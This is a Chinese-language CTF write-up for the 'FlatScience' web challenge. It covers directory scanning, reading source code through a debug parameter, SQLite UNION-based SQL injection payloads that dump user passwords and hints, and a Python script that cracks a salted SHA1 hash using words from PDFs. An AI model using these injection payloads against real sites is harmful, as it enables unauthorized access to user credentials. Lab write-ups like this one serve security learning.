攻防世界----(web进阶)FlatScience--WP

打开题目:
发现都是pdf文件。看不懂
先来一套广播体操:我用的是御剑和AWVS
发现两个有趣的页面:
1.login.php
2.admin.php
(还有一个robots.txt, 打开之后也是指向上面两个页面的)

先试一下admin.php,尝试几个密码登陆没有结果。
查看页面源代码
有提示,就先暂时先不考虑弱口令
在这里插入图片描述
打开另一个页面login.php
查看源代码,依旧有提示
在这里插入图片描述
按照提示转到login.php?debug页面
成功读取源代码
创建了一个SQLite3对象,查阅得知是一个数据库
在下面这句话里存在注入
在这里插入图片描述
参考网上的WP
查询字段:
构造查询密码的SQL:usr=%27 UNION SELECT id, password from Users–+&pw=chybeta
构造查询用户的SQL:usr=%27 UNION SELECT id, name from Users --+&pw=chybeta
构造查询隐藏线索的SQL:usr=%27 UNION SELECT id, hint from Users–+&pw=chybeta

有一点,没看明白,每次查询的时候都带上ID,我试了一下不带ID就查不出来。。。
查询结果:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后一句说,我喜欢的关键字在我喜欢的文章里。
我哪知道作者喜欢啥文章,开头有两个pdf文件
把整篇文章的每个单词提取出来,加上字符串“”,经过sha1函数加工得到的字符串应该等于上面查询出来的password,3fab54a50e770d830c0416df817567662a9dc85c
为什么这么算???
看这里的password
在这里插入图片描述
网上的脚本:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib


def get_pdf():#打开pdf文件
    return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):#获取pdf文本
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text


def find_password():#读取密码
    pdf_path = get_pdf()
    for i in pdf_path:
        print
        "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word + "Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print
                "Find the password :" + word
                exit()


if __name__ == "__main__":
    find_password()

得到密码:ThinJerboa

在admin页面登录可得到flag

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值